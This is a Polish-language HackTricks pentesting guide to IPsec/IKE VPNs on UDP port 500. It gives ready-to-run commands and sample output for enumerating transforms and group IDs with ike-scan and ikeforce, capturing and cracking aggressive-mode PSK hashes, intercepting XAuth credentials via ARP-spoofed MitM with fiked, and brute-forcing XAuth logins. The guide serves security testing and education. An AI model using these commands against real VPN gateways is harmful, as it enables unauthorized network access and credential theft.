500/udp - Pentesting IPsec/IKE VPN

Support HackTricks

Try Hard Security Group


Podstawowe informacje

IPsec jest powszechnie uznawany za główną technologię zabezpieczania komunikacji między sieciami (LAN-do-LAN) oraz zdalnymi użytkownikami do bramy sieciowej (zdalny dostęp), stanowiąc podstawę dla rozwiązań VPN w przedsiębiorstwach.

Ustanowienie związku bezpieczeństwa (SA) między dwoma punktami jest zarządzane przez IKE, które działa w ramach ISAKMP, protokołu zaprojektowanego do uwierzytelniania i wymiany kluczy. Proces ten przebiega w kilku fazach:

  • Faza 1: Tworzony jest bezpieczny kanał między dwoma punktami końcowymi. Osiąga się to poprzez użycie klucza wstępnie udostępnionego (PSK) lub certyfikatów, stosując tryb główny, który obejmuje trzy pary wiadomości, lub tryb agresywny.

  • Faza 1.5: Choć nieobowiązkowa, ta faza, znana jako Faza Rozszerzonego Uwierzytelniania, weryfikuje tożsamość użytkownika próbującego się połączyć, wymagając nazwy użytkownika i hasła.

  • Faza 2: Ta faza poświęcona jest negocjowaniu parametrów zabezpieczania danych za pomocą ESP i AH. Umożliwia użycie algorytmów różnych od tych w Fazie 1, aby zapewnić Idealną Tajność Przyszłości (PFS), zwiększając bezpieczeństwo.

Domyślny port: 500/udp

Odkryj usługę za pomocą nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Znajdowanie ważnej transformacji

Konfiguracja IPSec może być przygotowana tylko do akceptacji jednej lub kilku transformacji. Transformacja to kombinacja wartości. Każda transformacja zawiera szereg atrybutów, takich jak DES lub 3DES jako algorytm szyfrowania, SHA lub MD5 jako algorytm integralności, klucz współdzielony jako typ uwierzytelnienia, Diffie-Hellman 1 lub 2 jako algorytm dystrybucji kluczy oraz 28800 sekund jako czas życia.

Pierwszą rzeczą, którą musisz zrobić, jest znalezienie ważnej transformacji, aby serwer mógł z tobą rozmawiać. Aby to zrobić, możesz użyć narzędzia ike-scan. Domyślnie Ike-scan działa w trybie głównym i wysyła pakiet do bramy z nagłówkiem ISAKMP i jedną propozycją z ośmioma transformacjami wewnątrz.

W zależności od odpowiedzi możesz uzyskać pewne informacje o punkcie końcowym:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

As you can see in the previous response, there is a field called AUTH with the value PSK. This means that the vpn is configured using a preshared key (and this is really good for a pentester). Wartość ostatniej linii jest również bardzo ważna:

  • 0 zwrócone handshake; 0 zwrócone notify: To oznacza, że cel to nie jest brama IPsec.

  • 1 zwrócone handshake; 0 zwrócone notify: To oznacza, że cel jest skonfigurowany dla IPsec i jest gotowy do przeprowadzenia negocjacji IKE, a jeden lub więcej z proponowanych transformacji jest akceptowalny (ważna transformacja zostanie pokazana w wynikach).

  • 0 zwrócone handshake; 1 zwrócone notify: Bramy VPN odpowiadają wiadomością notify, gdy żadna z transformacji nie jest akceptowalna (choć niektóre bramy tego nie robią, w takim przypadku należy przeprowadzić dalszą analizę i spróbować zrewidowanej propozycji).

W takim razie mamy już ważną transformację, ale jeśli jesteś w 3. przypadku, musisz trochę przeprowadzić brute-force, aby znaleźć ważną transformację:

Przede wszystkim musisz stworzyć wszystkie możliwe transformacje:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

A następnie przeprowadź atak brute-force na każdy z nich za pomocą ike-scan (może to zająć kilka minut):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Jeśli brute-force nie zadziałał, być może serwer odpowiada bez handshake'ów nawet na ważne transformacje. Wtedy możesz spróbować tego samego brute-force, ale używając trybu agresywnego:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Mam nadzieję, że ważna transformacja zostanie odesłana. Możesz spróbować tego samego ataku używając iker.py. Możesz również spróbować przeprowadzić brute force transformacji za pomocą ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

W DH Group: 14 = 2048-bit MODP i 15 = 3072-bit 2 = HMAC-SHA = SHA1 (w tym przypadku). Format --trans to $Enc,$Hash,$Auth,$DH

Cisco wskazuje, aby unikać używania grup DH 1 i 2, ponieważ nie są wystarczająco silne. Eksperci uważają, że kraje z dużymi zasobami mogą łatwo złamać szyfrowanie danych, które używają tych słabych grup. Robi się to za pomocą specjalnej metody, która przygotowuje je do szybkiego łamania kodów. Mimo że kosztuje to dużo pieniędzy, aby skonfigurować tę metodę, pozwala tym potężnym krajom na odczytanie zaszyfrowanych danych w czasie rzeczywistym, jeśli używa się grupy, która nie jest silna (jak 1,024-bit lub mniejsza).

Fingerprinting serwera

Następnie można użyć ike-scan, aby spróbować odkryć dostawcę urządzenia. Narzędzie wysyła początkową propozycję i przestaje odtwarzać. Następnie analizuje różnicę czasu między otrzymanymi wiadomościami z serwera a odpowiadającym wzorcem odpowiedzi, pentester może skutecznie zidentyfikować dostawcę bramy VPN. Co więcej, niektóre serwery VPN będą używać opcjonalnego ładunku Vendor ID (VID) z IKE.

Określ ważną transformację, jeśli to konieczne (używając --trans)

Jeśli IKE odkryje, który jest dostawcą, wydrukuje to:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

To można również osiągnąć za pomocą skryptu nmap ike-version

Znalezienie poprawnego ID (nazwa grupy)

Aby móc przechwycić hash, potrzebujesz ważnej transformacji wspierającej tryb agresywny oraz poprawnego ID (nazwa grupy). Prawdopodobnie nie będziesz znać ważnej nazwy grupy, więc będziesz musiał ją złamać. Aby to zrobić, polecam ci 2 metody:

Bruteforcing ID z ike-scan

Przede wszystkim spróbuj wykonać żądanie z fałszywym ID, próbując zebrać hash ("-P"):

ike-scan -P -M -A -n fakeID <IP>

Jeśli żaden hash nie jest zwracany, to prawdopodobnie ta metoda brute forcingu zadziała. Jeśli jakiś hash jest zwracany, oznacza to, że fałszywy hash zostanie odesłany dla fałszywego ID, więc ta metoda nie będzie niezawodna do brute-forcingu ID. Na przykład, może zostać zwrócony fałszywy hash (to zdarza się w nowoczesnych wersjach):

Ale jeśli, jak już powiedziałem, żaden hash nie jest zwracany, powinieneś spróbować brute-forcingu powszechnych nazw grup za pomocą ike-scan.

Ten skrypt spróbuje brute-forcingu możliwych ID i zwróci ID, dla których zwrócono ważne handshake (to będzie ważna nazwa grupy).

Jeśli odkryłeś konkretną transformację, dodaj ją do polecenia ike-scan. A jeśli odkryłeś kilka transformacji, nie krępuj się dodać nową pętlę, aby spróbować wszystkich (powinieneś spróbować wszystkich, aż jedna z nich będzie działać poprawnie).

Możesz użyć słownika ikeforce lub tego w seclists z powszechnymi nazwami grup do brute-forcingu:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (jest to kombinacja innych 2 słowników bez powtórzeń):

Bruteforcing ID with Iker

iker.py również używa ike-scan do bruteforce'owania możliwych nazw grup. Stosuje swoją własną metodę, aby znaleźć ważne ID na podstawie wyników ike-scan.

Bruteforcing ID with ikeforce

ikeforce.py to narzędzie, które można wykorzystać do bruteforce'owania ID również. To narzędzie spróbuje wykorzystać różne luki które mogą być użyte do rozróżnienia między ważnym a nieważnym ID (mogą wystąpić fałszywe pozytywy i fałszywe negatywy, dlatego wolę używać metody ike-scan, jeśli to możliwe).

Domyślnie ikeforce na początku wyśle kilka losowych ID, aby sprawdzić zachowanie serwera i określić taktykę do użycia.

  • Pierwsza metoda polega na bruteforce'owaniu nazw grup poprzez wyszukiwanie informacji Dead Peer Detection DPD systemów Cisco (te informacje są odtwarzane przez serwer tylko wtedy, gdy nazwa grupy jest poprawna).

  • Druga metoda polega na sprawdzaniu liczby odpowiedzi wysyłanych na każdą próbę, ponieważ czasami wysyłane są dodatkowe pakiety, gdy używane jest poprawne ID.

  • Trzecia metoda polega na wyszukiwaniu "INVALID-ID-INFORMATION" w odpowiedzi na niepoprawne ID.

  • Na koniec, jeśli serwer nie odpowiada na żadne sprawdzenia, ikeforce spróbuje bruteforce'ować serwer i sprawdzić, czy po wysłaniu poprawnego ID serwer odpowiada jakimś pakietem. Oczywiście celem bruteforce'owania ID jest uzyskanie PSK, gdy masz ważne ID. Następnie, z ID i PSK będziesz musiał bruteforce'ować XAUTH (jeśli jest włączone).

Jeśli odkryłeś konkretną transformację, dodaj ją do polecenia ikeforce. A jeśli odkryłeś kilka transformacji, nie krępuj się dodać nową pętlę, aby spróbować je wszystkie (powinieneś spróbować wszystkich, aż jedna z nich będzie działać poprawnie).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(Z książki Ocena Bezpieczeństwa Sieci: Poznaj Swoją Sieć): Możliwe jest również uzyskanie ważnych nazw użytkowników poprzez sniffing połączenia między klientem VPN a serwerem, ponieważ pierwszy pakiet trybu agresywnego zawierający identyfikator klienta jest wysyłany w postaci niezaszyfrowanej.

Capturing & cracking the hash

Na koniec, jeśli znalazłeś ważną transformację i nazwę grupy, a tryb agresywny jest dozwolony, to bardzo łatwo możesz przechwycić łamliwy hash:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Hash zostanie zapisany w pliku hash.txt.

Możesz użyć psk-crack, john (używając ikescan2john.py) oraz hashcat, aby crack hash:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Agresywny tryb IKE w połączeniu z kluczem współdzielonym (PSK) jest powszechnie stosowany do uwierzytelniania grupowego. Metoda ta jest wzbogacona o XAuth (Rozszerzone Uwierzytelnianie), które wprowadza dodatkową warstwę uwierzytelniania użytkownika. Takie uwierzytelnianie zazwyczaj wykorzystuje usługi takie jak Microsoft Active Directory, RADIUS lub porównywalne systemy.

Przechodząc do IKEv2, zauważalna jest istotna zmiana, w której EAP (Rozszerzalny Protokół Uwierzytelniania) jest wykorzystywany zamiast XAuth w celu uwierzytelniania użytkowników. Ta zmiana podkreśla ewolucję praktyk uwierzytelniania w ramach bezpiecznych protokołów komunikacyjnych.

Lokalna sieć MitM do przechwytywania poświadczeń

Możesz przechwycić dane logowania za pomocą fiked i sprawdzić, czy istnieje domyślna nazwa użytkownika (musisz przekierować ruch IKE do fiked w celu sniffingu, co można zrobić za pomocą spoofingu ARP, więcej informacji). Fiked będzie działać jako punkt końcowy VPN i przechwyci poświadczenia XAuth:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Również, używając IPSec, spróbuj przeprowadzić atak MitM i zablokować cały ruch do portu 500, jeśli tunel IPSec nie może zostać ustanowiony, być może ruch będzie wysyłany w postaci niezaszyfrowanej.

Brute-forcing XAUTH username ad password with ikeforce

Aby przeprowadzić brute force na XAUTH (gdy znasz ważną nazwę grupy id i psk), możesz użyć nazwy użytkownika lub listy nazw użytkowników oraz listy haseł:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

W ten sposób, ikeforce spróbuje połączyć się, używając każdej kombinacji nazwy użytkownika:hasło.

Jeśli znalazłeś jedną lub kilka ważnych transformacji, po prostu użyj ich jak w poprzednich krokach.

Uwierzytelnianie z IPSEC VPN

W Kali, VPNC jest wykorzystywane do ustanawiania tuneli IPsec. Profile muszą znajdować się w katalogu /etc/vpnc/. Możesz zainicjować te profile za pomocą polecenia vpnc.

Poniższe polecenia i konfiguracje ilustrują proces ustawiania połączenia VPN z VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

W tej konfiguracji:

  • Zastąp [VPN_GATEWAY_IP] rzeczywistym adresem IP bramy VPN.

  • Zastąp [VPN_CONNECTION_ID] identyfikatorem połączenia VPN.

  • Zastąp [VPN_GROUP_SECRET] grupowym sekretem VPN.

  • Zastąp [VPN_USERNAME] i [VPN_PASSWORD] danymi uwierzytelniającymi VPN.

  • [PID] symbolizuje identyfikator procesu, który zostanie przypisany, gdy vpnc zostanie zainicjowany.

Upewnij się, że rzeczywiste, bezpieczne wartości są używane do zastąpienia miejsc w konfiguracji VPN.

Materiały referencyjne

Shodan

  • port:500 IKE

Try Hard Security Group

Wsparcie dla HackTricks

Last updated